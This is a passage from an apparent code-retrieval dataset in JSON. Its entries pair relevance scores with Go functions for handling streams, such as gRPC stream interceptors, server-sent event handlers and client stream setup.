{\n\tout := make(chan erutan.Packet, 10000000)\n\terutan.ManagerInstance.ClientsOut.Store(tkn, out)\n\tlog.Zap.Info(\"Opened stream for client\", zap.String(\"client\", tkn))\n\t// Return the channel\n\treturn out\n}", "title": "" }, { "docid": "898262d9b61bed581af11e2b97f1b16c", "score": "0.6468266", "text": "func TestHandler_stream(t *testing.T) {\n\ts := NewServer()\n\tdefer s.Close()\n\n\t// Create replica.\n\ts.Handler.Broker().CreateReplica(2000, &url.URL{Host: \"localhost\"})\n\n\t// Send request to stream the replica.\n\tresp, err := http.Get(s.URL + `/messaging/messages?replicaID=2000`)\n\tdefer resp.Body.Close()\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %s\", err)\n\t} else if resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(\"unexpected status: %d: %s\", resp.StatusCode, resp.Header.Get(\"X-Broker-Error\"))\n\t}\n\ttime.Sleep(10 * time.Millisecond)\n\n\t// Decode from body.\n\tvar m messaging.Message\n\tdec := messaging.NewMessageDecoder(resp.Body)\n\tif err := dec.Decode(&m); err != nil {\n\t\tt.Fatalf(\"decode error: %s\", err)\n\t} else if m.Index != 2 && m.Type != messaging.CreateReplicaMessageType {\n\t\tt.Fatalf(\"unexpected index/type: %d / %x\", m.Index, m.Type)\n\t}\n}", "title": "" }, { "docid": "0b7c14ebc907b5c538422d7495bdcbbe", "score": "0.6464702", "text": "func (h *RecoveryHandler) Stream(srv interface{}, stream grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) (err error) {\n\tvar (\n\t\tctx = stream.Context()\n\t\tlogger = log.GetContext(ctx)\n\t)\n\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tif err = h.recoverFrom(ctx, r); err != nil {\n\t\t\t\tlogger.WithError(err).Error(\"fatal error ocurred\")\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn handler(srv, stream)\n}", "title": "" }, { "docid": "cb407f7511e30066cd4d79cecb16f2a5", "score": "0.6450703", "text": "func (lr LedgerRequest) Stream(ctx context.Context, client *Client,\n\thandler func(interface{})) (err error) {\n\tendpoint, err := lr.BuildUrl()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Unable to build endpoint\")\n\t}\n\n\turl := fmt.Sprintf(\"%s%s\", client.getHorizonURL(), endpoint)\n\n\treturn client.stream(ctx, url, func(data []byte) error {\n\t\tvar ledger hProtocol.Ledger\n\t\terr = json.Unmarshal(data, &ledger)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Error unmarshaling data\")\n\t\t}\n\t\thandler(ledger)\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "e3044c81b5785e4ec8aa412f3256777c", "score": "0.64288837", "text": "func handleStream(stream muxado.Stream) {\n\tdefer (func() {\n\t\tstream.Close()\n\t\tfmt.Println(\"Closed connection to client\")\n\t})()\n\n\tfor {\n\t\tbuf := make([]byte, 256)\n\t\t_, err := stream.Read(buf)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Error reading:\", err.Error())\n\t\t\treturn\n\t\t}\n\t\tstream.Write(buf)\n\t}\n}", "title": "" }, { "docid": "9989f71bb2ce993ae7e454b236cadd3d", "score": "0.6427911", "text": "func (ss *Session) Stream(stream GameService_StreamServer) error {\n\tdefer PrintPanicStack()\n\n\tssDie := make(chan struct{})\n\tstreamCh := ss.recv(stream, ssDie)\n\n\tdefer func() {\n\t\tIpc.Unregister(ss.UserId)\n\t\tclose(ssDie)\n\t\tlog.Debugf(\"[stream end][userid=%+v]\", ss.UserId)\n\t}()\n\n\t// read metadata from context\n\tmd, ok := metadata.FromContext(stream.Context())\n\tif !ok {\n\t\tlog.Error(\"cannot read metadata from context\")\n\t\treturn errIncorrectFrameType\n\t}\n\t// read key\n\tif len(md[\"userid\"]) == 0 {\n\t\tlog.Error(\"cannot read key:userid from metadata\")\n\t\treturn errIncorrectFrameType\n\t}\n\t// parse userid\n\tuserId, err := strconv.Atoi(md[\"userid\"][0])\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn errIncorrectFrameType\n\t}\n\n\t// register user\n\tss.UserId = int32(userId)\n\tIpc.Register(ss.UserId, ss.fnCh)\n\tlog.Debugf(\"[stream open][userId=%+v]\", ss.UserId)\n\tss.stream = stream\n\n\t// >> main message loop <<\n\tfor {\n\t\tselect {\n\t\tcase frame, ok := <-streamCh:\n\t\t\t// frames from agent\n\t\t\tif ok {\n\t\t\t\tswitch frame.Type {\n\t\t\t\tcase Game_Message:\n\t\t\t\t\t// locate handler by proto number\n\t\t\t\t\treader := packet.Reader(frame.Message)\n\t\t\t\t\tc, err := reader.ReadS16()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Error(err)\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\n\t\t\t\t\tpayload, err := reader.ReadBytes()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Error(err)\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\n\t\t\t\t\tlog.Debugf(\"[dispatch][cmd=%+v][payload=%+v][userId=%+v]\", Cmd(c).String(), payload,\n\t\t\t\t\t\tss.UserId)\n\t\t\t\t\tss.dispatch(Cmd(c), payload)\n\n\t\t\t\tcase Game_Ping:\n\t\t\t\t\tif err := stream.Send(&Game_Frame{Type: Game_Ping, Message: frame.Message}); err != nil {\n\t\t\t\t\t\tlog.Error(err)\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tlog.Debug(\"pinged\")\n\t\t\t\tdefault:\n\t\t\t\t\tlog.Errorf(\"[incorrect frame type=%+v]\", frame.Type)\n\t\t\t\t\treturn errIncorrectFrameType\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// EOF\n\t\t\t\tss.Close()\n\t\t\t}\n\n\t\tcase fn := <-ss.fnCh:\n\t\t\th := fn.(func(g *Session))\n\t\t\th(ss)\n\n\t\t//case msg := <-ss.ToAgentCh:\n\t\t//\tif err := stream.Send(&Game_Frame{Type: Game_Message, Message: msg}); err != nil {\n\t\t//\t\tlog.Error(err)\n\t\t//\t\treturn err\n\t\t//\t}\n\t\tcase <-ss.DieCh:\n\t\t\tif err := stream.Send(&Game_Frame{Type: Game_Kick}); err != nil {\n\t\t\t\tlog.Error(err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "1cbfa975602a24271375d0764a81742a", "score": "0.6420361", "text": "func (e *PostHousesImage) Stream(ctx context.Context, req *pb.StreamingRequest, stream pb.PostHousesImage_StreamStream) error {\n\tlog.Infof(\"Received PostHousesImage.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&pb.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "0dc2c1f3bd1e8989634c182fdc7cb894", "score": "0.6411292", "text": "func (self *StreamHandler) GetStream() Stream {\n\treturn self.stream\n}", "title": "" }, { "docid": "ed707ef0b217801a13239da157513e68", "score": "0.6379969", "text": "func (s *ServiceAMethodA3ServerCallStub) SendStream() interface {\n\tSend(item Scalars) error\n} {\n\treturn implServiceAMethodA3ServerCallSend{s}\n}", "title": "" }, { "docid": "c3150c05175c2c0e1db7a5b2a68a34b3", "score": "0.6361325", "text": "func HandleStream(s net.Stream) {\n\tlog.Println(\"Got a new stream!\")\n\n\trw := bufio.NewReadWriter(bufio.NewReader(s), bufio.NewWriter(s))\n\n\tgo ReadData(rw)\n\tgo WriteData(rw)\n}", "title": "" }, { "docid": "ae7f254327573580b551a3a6862d3357", "score": "0.6356566", "text": "func (e *GetArea) Stream(ctx context.Context, req *GA.StreamingRequest, stream GA.GetArea_StreamStream) error {\n\tlog.Infof(\"Received GetArea.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&GA.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "f6d7896ce45cf727b5aab9c9b2137ad6", "score": "0.6349365", "text": "func (c *infoChangedClient) GetStream() rpcc.Stream { return c.Stream }", "title": "" }, { "docid": "6893ce38648e28e065b0e80e22e734d7", "score": "0.63443214", "text": "func (e *PutOrders) Stream(ctx context.Context, req *pb.StreamingRequest, stream pb.PutOrders_StreamStream) error {\n\tlog.Infof(\"Received PutOrders.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&pb.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e1adb0f96bb0589d7cffe8d860197916", "score": "0.6315526", "text": "func (c *genericClient) openStream(grpcClient interface{}, streamGenFunc string) error {\n\t// Create structs compatible with reflect package\n\tclient := reflect.ValueOf(grpcClient) // we want to call streamGenFunc on this struct\n\tparams := []reflect.Value{reflect.ValueOf(context.Background())} // we want to pass these params to streamGenFunc\n\n\t// Safety check for existence of the requested stream generation method on a given grpc client\n\tf := client.MethodByName(streamGenFunc)\n\tif !f.IsValid() {\n\t\treturn fmt.Errorf(\"stream generation function '%s' not defined for %v\", streamGenFunc, reflect.TypeOf(grpcClient))\n\t}\n\n\t// Call the client stream generation function\n\tres := f.Call(params)\n\n\t// First, check if an error occurred during creation of the client stream\n\tvar err error\n\tif v := res[1].Interface(); v != nil {\n\t\terr = v.(error)\n\t}\n\tif err != nil {\n\t\treturn fmt.Errorf(\"[client %v] Error opening stream: %v\", c.id, err)\n\t}\n\n\t// creation of the client stream was successful, make type assertion\n\tvar stream pb.ClientStream\n\tif v := res[0].Interface(); v != nil {\n\t\tstream = v.(pb.ClientStream)\n\t}\n\n\t// assign this client stream to our generic client, so that the stream can be\n\t// used for communication with the server in subsequent send(), receive() calls\n\tc.ClientStream = stream\n\treturn nil\n}", "title": "" }, { "docid": "dabc9eb3807fc625c885e5fde3cd4e66", "score": "0.6308884", "text": "func (c *downloadWillBeginClient) GetStream() rpcc.Stream { return c.Stream }", "title": "" }, { "docid": "96b2ee1f51f9cf766d46f42d31c8ea65", "score": "0.6297452", "text": "func (s *StressSumStreamServerCallStub) SendStream() interface {\n\tSend(item []byte) error\n} {\n\treturn implStressSumStreamServerCallSend{s}\n}", "title": "" }, { "docid": "8095d6fb2fa22101d96e6cc2440a0d0d", "score": "0.629577", "text": "func StreamInterceptor(srv interface{}, stream grpc.ServerStream, _ *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\ttrack(stream.Context())\n\treturn handler(srv, stream)\n}", "title": "" }, { "docid": "48b5b0fe35855229736077e8c0edd1bd", "score": "0.6292781", "text": "func (server *Server) InfoStream(req *logspec.InfoRequest, stream logspec.Log_InfoStreamServer) error {\n\tfor {\n\t\tres, changedCh := server.info()\n\t\terr := stream.Send(res)\n\t\tif err != nil {\n\t\t\tlogrus.WithError(err).Info(\"Info: error sending to client\")\n\t\t\treturn err\n\t\t}\n\t\tselect {\n\t\tcase <-stream.Context().Done():\n\t\t\tlogrus.Info(\"Info client disconnected\")\n\t\t\treturn stream.Context().Err()\n\t\tcase <-server.ctx.Done():\n\t\t\treturn server.ctx.Err()\n\t\tcase <-changedCh:\n\t\t}\n\t}\n}", "title": "" }, { "docid": "afe4a22ed3f01c3ceca316ea6c1fc3eb", "score": "0.6287097", "text": "func StreamServerInterceptor(srv interface{}, stream grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) (err error) {\n\tserviceName, method := splitMethodName(info.FullMethod)\n\tstreamType := \"server\"\n\tif info.IsClientStream {\n\t\tstreamType = \"client\"\n\t}\n\tstart := time.Now()\n\terr = handler(srv, stream)\n\tstatusCode := grpc.Code(err).String()\n\tstreamRequestsTimer.WithLabelValues(serviceName, method, statusCode, streamType).Observe(float64(time.Since(start)) / float64(time.Second))\n\treturn err\n}", "title": "" }, { "docid": "5865d95b1742c46a41b04dec77e08f1a", "score": "0.6266424", "text": "func (c *Channel) NewStream(ctx context.Context, desc *grpc.StreamDesc, method string, opts ...grpc.CallOption) (grpc.ClientStream, error) {\n\tcopts := internal.GetCallOptions(opts)\n\tcopts.SetPeer(&inprocessPeer)\n\n\tif method[0] != '/' {\n\t\tmethod = \"/\" + method\n\t}\n\tctx, err := internal.ApplyPerRPCCreds(ctx, copts, fmt.Sprintf(\"inproc:0%s\", method), true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstrs := strings.SplitN(method[1:], \"/\", 2)\n\t// The given StreamDesc is a client-created object, which means the Handler\n\t// field is not populated. So we have to look up from the channel config the\n\t// corresponding StreamDesc that includes a handler.\n\tserviceName := strs[0]\n\tmethodName := strs[1]\n\tsd, handler := c.handlers.QueryService(serviceName)\n\tif sd == nil {\n\t\t// service name not found\n\t\treturn nil, status.Errorf(codes.Unimplemented, \"service %s not implemented\", serviceName)\n\t}\n\tmd := internal.FindStreamingMethod(methodName, sd.Streams)\n\tif md == nil {\n\t\t// method name not found\n\t\treturn nil, status.Errorf(codes.Unimplemented, \"method %s/%s not implemented\", serviceName, methodName)\n\t}\n\n\tctx, cancel := context.WithCancel(ctx)\n\t// backpressure comes from tiny buffer, in lieu of HTTP/2 flow control\n\trequests := make(chan frame, 1)\n\tresponses := make(chan frame, 1)\n\n\t// the server context which is cancelled when the server goroutine below exits\n\tsvrCtx, svrCancel := context.WithCancel(makeServerContext(ctx))\n\n\t// a child context which is cancelled when the RPC completes, but before\n\t// the server handler has sent its final messages (trailers and errors)\n\t// (this is needed to prevent deadlock between server trying to send final\n\t// messages while client is trying to concurrently write a request)\n\tsvrDoneCtx, svrDoneCancel := context.WithCancel(svrCtx)\n\n\tcloner := c.cloner\n\tif cloner == nil {\n\t\tcloner = ProtoCloner{}\n\t}\n\n\tgo func() {\n\t\tdefer svrCancel()\n\n\t\tserverStream := &inProcessServerStream{\n\t\t\tcloner: cloner,\n\t\t\trequests: requests,\n\t\t\tresponses: responses,\n\t\t\tonDone: svrDoneCancel,\n\t\t}\n\t\tsts := &internal.ServerTransportStream{Name: method, Stream: serverStream}\n\t\tserverStream.ctx = grpc.NewContextWithServerTransportStream(svrCtx, sts)\n\t\tvar err error\n\t\tdefer func() {\n\t\t\tserverStream.finish(err)\n\t\t}()\n\n\t\tif c.streamInterceptor != nil {\n\t\t\tinfo := grpc.StreamServerInfo{\n\t\t\t\tFullMethod: method,\n\t\t\t\tIsClientStream: md.ClientStreams,\n\t\t\t\tIsServerStream: md.ServerStreams,\n\t\t\t}\n\t\t\terr = c.streamInterceptor(handler, serverStream, &info, md.Handler)\n\t\t} else {\n\t\t\terr = md.Handler(handler, serverStream)\n\t\t}\n\t}()\n\tcs := &inProcessClientStream{\n\t\tctx: ctx,\n\t\tcloner: cloner,\n\t\tsvrCtx: svrDoneCtx,\n\t\trequests: requests,\n\t\tresponses: responses,\n\t\tresponseStream: desc.ServerStreams,\n\t\tcopts: copts,\n\t}\n\truntime.SetFinalizer(cs, func(stream *inProcessClientStream) {\n\t\tcancel()\n\t})\n\treturn cs, nil\n}", "title": "" }, { "docid": "78ffb1084f1f14fa8bf417695b235103", "score": "0.625868", "text": "func (client *rateClient) Stream() GRPCStream {\n\treturn client.stream\n}", "title": "" }, { "docid": "a3f7e5620aa9a1e766357984a13ab453", "score": "0.6257397", "text": "func (h *H2Controller) StreamInvoke(ctx context.Context, method string) (grpc.ClientStream, error) {\n\t// metadata header\n\thandler, err := common.GetProtocolHeaderHandler(h.url.Protocol)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\th.url.SetParam(\":path\", method)\n\theaderFields := handler.WriteHeaderField(h.url, ctx, nil)\n\tvar buf bytes.Buffer\n\tenc := hpack.NewEncoder(&buf)\n\tfor _, f := range headerFields {\n\t\tif err := enc.WriteField(f); err != nil {\n\t\t\tlogger.Error(\"error: enc.WriteField err = \", err)\n\t\t} else {\n\t\t\t//logger.Debug(\"encode field f = \", f.Name, \" \", f.Value, \" success\")\n\t\t}\n\t}\n\thflen := buf.Len()\n\thfData := buf.Next(hflen)\n\n\t//todo rpcID change\n\tid := uint32(atomic.AddInt32(&h.streamID, 2))\n\th.sendChan <- h2.HeadersFrameParam{\n\t\tStreamID: id,\n\t\tEndHeaders: true,\n\t\tBlockFragment: hfData,\n\t\tEndStream: false,\n\t}\n\tclientStream := newClientStream(id)\n\tserilizer, err := common.GetDubbo3Serializer(codec.DefaultDubbo3SerializerName)\n\tif err != nil {\n\t\tlogger.Error(\"get serilizer error = \", err)\n\t\treturn nil, err\n\t}\n\th.streamMap.Store(clientStream.ID, clientStream)\n\tgo clientStream.runSendDataToServerStream(h.sendChan)\n\tpkgHandler, err := common.GetPackagerHandler(h.url.Protocol)\n\treturn newClientUserStream(clientStream, serilizer, pkgHandler), nil\n}", "title": "" }, { "docid": "30b18c0f0f61f1c1ff10a6b593f7c4f9", "score": "0.62569994", "text": "func (s *ServiceAMethodA4ServerCallStub) SendStream() interface {\n\tSend(item string) error\n} {\n\treturn implServiceAMethodA4ServerCallSend{s}\n}", "title": "" }, { "docid": "0582c937f739a8739a376009cb79bbbd", "score": "0.6247017", "text": "func (srv *Server) HandleStream(name string, h StreamHandler) {\n\tsrv.mu.Lock()\n\tsrv.cmds[strings.ToLower(name)] = h\n\tsrv.mu.Unlock()\n}", "title": "" }, { "docid": "9a823a9652ed15afc62f35455b50ec88", "score": "0.62441576", "text": "func (s *GlobWatcherWatchGlobServerCallStub) SendStream() interface {\n\tSend(item Change) error\n} {\n\treturn implGlobWatcherWatchGlobServerCallSend{s}\n}", "title": "" }, { "docid": "3289ee1b24265d24f4b6487635dde600", "score": "0.6240934", "text": "func (r *queryResolver) Stream(ctx context.Context, streamID int) (*Stream, error) {\n\tif err := r.auth.AuthorizePluginToken(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\treturn r.sp.Stream(streamID)\n}", "title": "" }, { "docid": "901d6f8b06bf8a1508ff2efa9da6ce66", "score": "0.6236773", "text": "func (i *StaticInterceptor) StreamInterceptor(srv any, ss grpc.ServerStream, _ *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\terr := i.engines.IsAuthorized(ss.Context())\n\tif err != nil {\n\t\tif status.Code(err) == codes.PermissionDenied {\n\t\t\tif logger.V(2) {\n\t\t\t\tlogger.Infof(\"unauthorized RPC request rejected: %v\", err)\n\t\t\t}\n\t\t\treturn status.Errorf(codes.PermissionDenied, \"unauthorized RPC request rejected\")\n\t\t}\n\t\treturn err\n\t}\n\treturn handler(srv, ss)\n}", "title": "" }, { "docid": "15f851196d1c2f31db9bdd972b279309", "score": "0.62262934", "text": "func (server *UpdateStream) ServeUpdateStream(req *proto.UpdateStreamRequest, sendReply func(reply interface{}) error) (err error) {\n\tdefer server.updateStream.HandlePanic(&err)\n\treturn server.updateStream.ServeUpdateStream(req.Position, func(reply *proto.StreamEvent) error {\n\t\treturn sendReply(reply)\n\t})\n}", "title": "" }, { "docid": "11d6437c88f928ee24e1ba62cc968b77", "score": "0.62143946", "text": "func (c *receivedMessageFromTargetClient) GetStream() rpcc.Stream { return c.Stream }", "title": "" }, { "docid": "1cfe163a3415725803d3ed8e48993d3e", "score": "0.62020737", "text": "func (m *Market) Stream(timerCh chan<- cq.TimerMsg) error {\n\tif err := connectWS(m, timerCh); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "537a90ad6a8a079723f4db88b81618c3", "score": "0.61983347", "text": "func (c *destroyedClient) GetStream() rpcc.Stream { return c.Stream }", "title": "" }, { "docid": "c22bdd98f9d2d378b36c1b1c482698b8", "score": "0.61959916", "text": "func (c *Cam) Stream(w *HttpFlushWriter) error {\n\treturn stream(w, c.gconfig, c.cconfig)\n}", "title": "" }, { "docid": "7f77b0437d86b646c1a43bb799fa0900", "score": "0.6195074", "text": "func (s *PipeStreamer) InputStream(apiVersion, acceptHeader string) (stream io.ReadCloser, flush bool, contentType string, err error) {\n\tflush = s.Flush\n\tstream = s.Out\n\treturn\n}", "title": "" }, { "docid": "5986bf453467f2827c0338e468365e66", "score": "0.6185212", "text": "func (c *attachedToTargetClient) GetStream() rpcc.Stream { return c.Stream }", "title": "" }, { "docid": "76e1a5e92c9f41a094d82323168227f2", "score": "0.6180496", "text": "func (s *Sock) StreamRequest(op string) (*StreamRequest, chan Response) {\n reschan := make(chan Response)\n id := s.allocResChan(reschan)\n return &StreamRequest{sock:s, op:op, id:id}, reschan\n}", "title": "" }, { "docid": "887bf28a28827143d72c1a508837e90f", "score": "0.61757267", "text": "func (s *Server) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n\tflusher, ok := rw.(http.Flusher)\n\n\tif !ok {\n\t\thttp.Error(rw, \"Streaming unsupported!\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\trequestContext := req.Context()\n\ts.connectionsMutex.Lock()\n\ts.connections[req.RemoteAddr] = &connection{\n\t\twriter: rw,\n\t\tflusher: flusher,\n\t\trequestCtx: requestContext,\n\t}\n\ts.connectionsMutex.Unlock()\n\n\tdefer func() {\n\t\ts.removeConnection(req.RemoteAddr)\n\t}()\n\n\trw.Header().Set(\"Content-Type\", \"text/event-stream\")\n\trw.Header().Set(\"Cache-Control\", \"no-cache\")\n\trw.Header().Set(\"Connection\", \"keep-alive\")\n\trw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\n\t<-requestContext.Done()\n}", "title": "" }, { "docid": "cf7e5b827d6cbf01331edd350353a474", "score": "0.6173219", "text": "func (evs *EventStreamer) Stream(ctx context.Context) error {\n\treturn evs.bls.Stream(ctx)\n}", "title": "" }, { "docid": "b1dc7ad13dbfa8ca86185db459ebf31b", "score": "0.61712617", "text": "func StreamInterceptor(auth Authenticator) grpc.StreamServerInterceptor {\n\treturn func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\t\tvar newCtx context.Context\n\t\tvar err error\n\t\ta := auth\n\t\t// if server overrides Authenticator, use it instead.\n\t\tif srvAuth, ok := srv.(Authenticator); ok {\n\t\t\ta = srvAuth\n\t\t}\n\t\tif wl, ok := a.(WhiteListAuthenticator); ok && wl.IsWhiteListed(info.FullMethod) {\n\t\t\tnewCtx, err = ss.Context(), nil\n\t\t} else {\n\t\t\tnewCtx, err = a.Authenticate(ss.Context())\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\twrapped := grpc_middleware.WrapServerStream(ss)\n\t\twrapped.WrappedContext = newCtx\n\t\treturn handler(srv, wrapped)\n\t}\n}", "title": "" }, { "docid": "c63df3006b62835ae4328b792585b8fc", "score": "0.61354107", "text": "func (e *Enforcer) StreamInterceptor(srv interface{}, stream grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\tctx, err := e.enforcePolicy(stream.Context(), srv, nil, info.IsClientStream, info.FullMethod)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\twrappedStream := &streamContextWrapper{\n\t\tServerStream: stream,\n\t\tctx: ctx,\n\t}\n\n\treturn handler(srv, wrappedStream)\n}", "title": "" }, { "docid": "93b45178a5727307d3cb905bfbe5daac", "score": "0.6135321", "text": "func ProxyStreamHandler(w http.ResponseWriter, r *http.Request) {\n\taddr, err := url.ParseRequestURI(r.URL.Query().Get(\"addr\"))\n\tif err != nil {\n\t\thttp.Error(w, \"invalid addr\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif err := Stream(w, addr); err != nil {\n\t\tif opErr, ok := err.(*net.OpError); ok {\n\t\t\t// TODO: find out what the result is for not exist and return 404\n\t\t\tfmt.Printf(\"%+v\\n\", opErr)\n\t\t}\n\t\thttp.Error(w, \"failed to stream data\", http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "073271991558de378933b2b47e6d0f3a", "score": "0.61268586", "text": "func (i *FileWatcherInterceptor) StreamInterceptor(srv any, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\treturn ((*StaticInterceptor)(atomic.LoadPointer(&i.internalInterceptor))).StreamInterceptor(srv, ss, info, handler)\n}", "title": "" }, { "docid": "3657b90c6dc48dfdb07d468814499bea", "score": "0.61077017", "text": "func ReceiveStream(client pb.MoneyTransactionClient, req *pb.TransactionRequest) {\n\tlog.Println(\"Started listening to server stream...\")\n\tstream, err := client.MakeTransaction(context.Background(), req)\n\tif err != nil {\n\t\tlog.Fatal(\"Could not get the stream data from server! Error: \", err.Error())\n\t}\n\t// Listen to stream of messages\n\tfor {\n\t\tresponse, err := stream.Recv()\n\t\tif err == io.EOF {\n\t\t\t// If there are no more messages\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"%v.MakeTransaction(_) = _, %v\", client, err.Error())\n\t\t}\n\t\tlog.Printf(\"Status: %v, Operation: %v\", response.Status, response.Description)\n\t}\n}", "title": "" }, { "docid": "6d047c5216f3c9b9f05bab705cb4a2cc", "score": "0.6087107", "text": "func Stream(response http.ResponseWriter, request *http.Request) {\n\tlog.Printf(\"Streaming byte range: %v\", request.Header.Get(\"Range\"))\n\tvideo := videoFromRequest(request)\n\thttp.ServeFile(response, request, fs.VideosDataDir+string(os.PathSeparator)+video.Filepath)\n}", "title": "" }, { "docid": "ee4b06ab6069bcdf2197c7b30ea2b38a", "score": "0.6073092", "text": "func (srv *server) streamInterceptor(s interface{}, stream grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\tif err := srv.authorize(stream.Context()); err != nil {\n\t\treturn err\n\t}\n\n\treturn handler(srv, stream)\n}", "title": "" }, { "docid": "44b319b7db1c6bee0293c9fa9cb19c27", "score": "0.6058883", "text": "func (pt *ProtoTcp) StreamPlayer(ring *sr.StreamRing) error {\n\tlog.Printf(\"start %s\\n\", STR_TCP_PLAYER)\n\tdefer log.Printf(\"end %s\\n\", STR_TCP_PLAYER)\n\n\tvar err error\n\n\taddr, _ := net.ResolveTCPAddr(\"tcp\", pt.Host+\":\"+pt.Port)\n\tconn, err := net.DialTCP(\"tcp\", nil, addr)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\tlog.Printf(\"Player> connected to %s\\n\", addr)\n\n\terr = conn.SetNoDelay(true)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\tr := bufio.NewReader(conn)\n\tw := bufio.NewWriter(conn)\n\n\terr = pt.RequestGet(r, w)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\t// recv multipart stream from server\n\terr = pt.ReadStreamToData(r)\n\t//err = RecvStreamToData(conn)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "f232f27beb184ef28faf38ca63f45120", "score": "0.60274965", "text": "func (e *PutComment) Stream(ctx context.Context, req *pb.StreamingRequest, stream pb.PutComment_StreamStream) error {\n\tlog.Infof(\"Received PutComment.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&pb.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a3b4151993afb4021c5354946a809a3c", "score": "0.60250306", "text": "func (h *Handler) serveStream(w http.ResponseWriter, params httprouter.Params, kind discoverd.EventKind) {\n\t// Create a buffered channel to receive events.\n\tch := make(chan *discoverd.Event, StreamBufferSize)\n\n\t// Subscribe to events on the store.\n\tservice := params.ByName(\"service\")\n\tstream := h.Store.Subscribe(service, true, kind, ch)\n\n\t// Create and serve an SSE stream.\n\ts := sse.NewStream(w, ch, nil)\n\ts.Serve()\n\ts.Wait()\n\tstream.Close()\n\n\t// Check if there was an error while closing.\n\tif err := stream.Err(); err != nil {\n\t\ts.CloseWithError(err)\n\t}\n}", "title": "" }, { "docid": "ba6c091465f885df2c37937b22f07ecd", "score": "0.6016065", "text": "func (rpc *Monitor) stream(buf []byte) {\n\te, err := decodeEvent(buf)\n\tif err != nil {\n\t\t// event was malformed, drop.\n\t\treturn\n\t}\n\n\t// send to event listener\n\tif c, ok := rpc.events[e.CallbackID]; ok {\n\t\tc <- e\n\t}\n}", "title": "" }, { "docid": "25e6bef5d2f646fa941e67c9655c5405", "score": "0.6015566", "text": "func HTTPStream(he ErrorHandler) *HTTP {\n\treturn &HTTP{\n\t\tNewProxyStream(func(c *ConnInsight, s NotifierError) {\n\n\t\t\tsrc := c.Src()\n\t\t\tdest := c.Dest()\n\n\t\t\t//checker if the using the src as the key type\n\n\t\t\t//are they both net.Conns\n\t\t\t_, so := src.(*StreamConn)\n\t\t\t_, do := dest.(*StreamConn)\n\n\t\t\tif so && do {\n\t\t\t\thandleHTTPConns(c, s)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t//is a pair of dest StreamConn and src ReqResConn\n\t\t\t_, sod := src.(*ReqResConn)\n\n\t\t\tif do && sod {\n\t\t\t\thandleNet2HTTP(c, s)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t//are they one net.Conn and a url to the destination\n\t\t\t_, do = dest.(*ReqResConn)\n\n\t\t\tif do && so 